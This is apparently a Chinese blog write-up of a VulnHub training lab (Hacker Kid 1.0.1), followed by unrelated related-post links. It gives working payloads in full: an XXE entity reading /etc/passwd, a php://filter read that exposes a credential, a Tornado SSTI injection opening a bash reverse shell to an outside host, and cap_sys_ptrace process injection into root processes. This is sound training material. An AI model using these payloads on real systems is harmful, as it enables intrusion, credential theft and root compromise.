准备:

攻击机:虚拟机kali、本机win10。

靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova,下载后直接vbox打开即可。

知识点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.240。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.240,显示开放了53、80、9999端口,开启了http服务。

web服务-信息收集:

打开web界面,提示信息告诉我们使用dig(域名查询工具)去继续挖掘。

在其源代码信息中看到提示信息:Use a GET parameter page_no to view pages,告诉我们使用page_no参数来访问当前页面。

使用page_no(根据参数名猜测参数应该是页数)参数访问当前页面:http://192.168.5.240/?page_no=1,获得返回提示信息。使用bp得爆破模块当page_no=21时,获得提示信息,告诉我们一个域名:hackers.blackhat.local。

结合刚才让我们使用dig继续挖掘得信息,这里配合域名:hackers.blackhat.local进行挖掘,命令:dig hackers.blackhat.local @192.168.5.240,发现新的域名:hackerkid.blackhat.local。

在本机和kali中配置下dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件进行配置,配置信息如下。

192.168.5.240 hackers.blackhat.local
192.168.5.240 blackhat.local
192.168.5.240 hackerkid.blackhat.local

xxe漏洞:

配置完成后访问:http://hackerkid.blackhat.local/出现一个注册界面,但是注册时一直显示邮箱存在问题。

使用bp进行抓包分析,发现数据是以xml格式发送得数据,那猜测这里可能存在xxe注入,测试xxe注入读取下/etc/passwd文件,发现账户名:saket。

<!DOCTYPE llw [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。

ssti漏洞:

使用获得账户名和信息在:http://192.168.5.240:9999/进行登录,但是:admin/Saket!#$%@!!登录失败,然后尝试了下/etc/passwd文件中发现得saket账户进行登录,登录成功。

提示信息告诉我们需要告诉他我们得名字,尝试输入参数?name=saket,结果返回hello saket。

结合nmap扫描出来的信息知道这里是tornado框架,因此猜测这里可能存在ssti注入,测试:192.168.5.240:9999/?name={{3*3}},代码被执行,因此这里存在ssti注入漏洞。

获取shell:

利用ssti注入反弹shell,因为这里项目搞完去了下一个地方,换了酒店,所以ip地址发生了改变,命令如下:

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}}

url编码后:
%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F172%2E18%2E8%2E120%2F6688+0%3E%261%22%27%29%7D%7D

提权:

通过命令:find / -perm -4000 -type f 2>/dev/null,来查找下可以用来提权的信息,发现了/usr/lib/policykit-1/polkit-agent-helper-1,当时利用polickit的两个漏洞进行提权均是失败,前面文章有说过这两个漏洞。

上传LinEnum.sh脚本进行信息收集,脚本:https://pan.baidu.com/s/1fkL1bN0xDw0r5xb3a62qCQ,提取码:upfn,在收集的信息中发现在历史命令中利用python2.7执行力一个脚本,然后使用nc开启了一个端口监听,注意这里执行的命令,后面是关键。

那就收集下和python2.7有关的信息,命令:./LinEnum.sh | grep python2.7,

发现python2.7具有cap_sys_ptrace+ep权限,那我们可以利用python具备的cap_sys_ptrace+ep能力将root权限的进程注入python类型shellcode以实现权限提升。下面两种提权方式原理一样。

提权方式一:

利用历史命令中发现的执行命令信息,执行命令:ps -eaf | grep root来找寻root进程,然后使用命令:python2.7 exp.py 784来进行进程注入,然后在本地使用nc进行5600端口的连接,成功获得root权限。exp.py脚本信息:git clone https://gitee.com/Re1-zf/shell.git。

提权方式二:

编写脚本对root进程批量尝试。

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

然后查看下5600端口是否开启监听状态,然后在本地使用nc进行5600端口的连接,成功获得root权限。

vulnhub靶场之HACKER KID: 1.0.1的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. Hbase之API基本操作

    API之框架 private static Admin admin = null; private static Connection connection = null; private stati ...

  2. SQL语句编写的练习(MySQL)

    SQL语句编写的练习(MySQL) 一.建表 1.学生表(Student) 学号 | 姓名 | 性别 | 出生年月 | 所在班级 create table Student( sno varchar(2 ...

  3. 齐博X1-栏目的调用1

    本节来说明下系统提供的几个栏目调用的方法 一节我们制作了一个公共导航,本节我们在首页index中演示下栏目的相关调用 至于其他的数据内容,参考第二季的标签调用即可,直接{qb:tag}调用就可以调用出 ...

  4. 知识图谱顶会论文(SIGIR-2022) MorsE:归纳知识图嵌入的元知识迁移

    MorsE:归纳知识图嵌入的元知识迁移 论文题目: Meta-Knowledge Transfer for Inductive Knowledge Graph Embedding 论文地址: http ...

  5. Gitea 1.18 功能前瞻(其三):增强文本预览效果、继续扩展软件包注册中心、增强工单实用功能、完善了用户邀请机制和SEO

    今天是 10 月 26 日星期三,Gitea 周期性地发布了 1.18 的第一个 RC0 版本,在此阶段会收集一些功能和使用上的问题,随后还会发布 RC1,新功能的完整性和健壮性会逐步趋近正式版. 继 ...

  6. Nacos基本学习

    一.注册中心 1.启动 1.下载nacos 在Nacos的GitHub页面,提供有下载链接,可以下载编译好的Nacos服务端或者源代码: GitHub主页:https://github.com/ali ...

  7. Druid SQL注入防御模块技术浅析

    官方参考: https://www.bookstack.cn/read/Druid/ffdd9118e6208531.md 前置知识 什么是Druid? Druid是一个高效的数据查询系统,主要解决的 ...

  8. while循环条件不成立却无法跳出死循环的问题

    在进入循环的时候,实际上是将A从内存加载到寄存器里面运行的,在整个循环中,A这个变量都只是在读取寄存器里面的值. 而当进入中断的时候,中断里面会从内存加载A到寄存器,修改完之后又存到内存里,然后退出中 ...

  9. 【Azure 环境】把OpenSSL生产的自签名证书导入到Azure Key Vault Certificate中报错

    问题描述 通过本地生成的自签名证书导入到Azure Key Vault Certificate报错. 错误信息 the specified PEM X.509 certificate content ...

  10. Spring Cloud Gateway 使用示例

    Spring Cloud Gateway 使用示例 作者: Grey 原文地址: 博客园:Spring Cloud Gateway 使用示例 CSDN:Spring Cloud Gateway 使用示 ...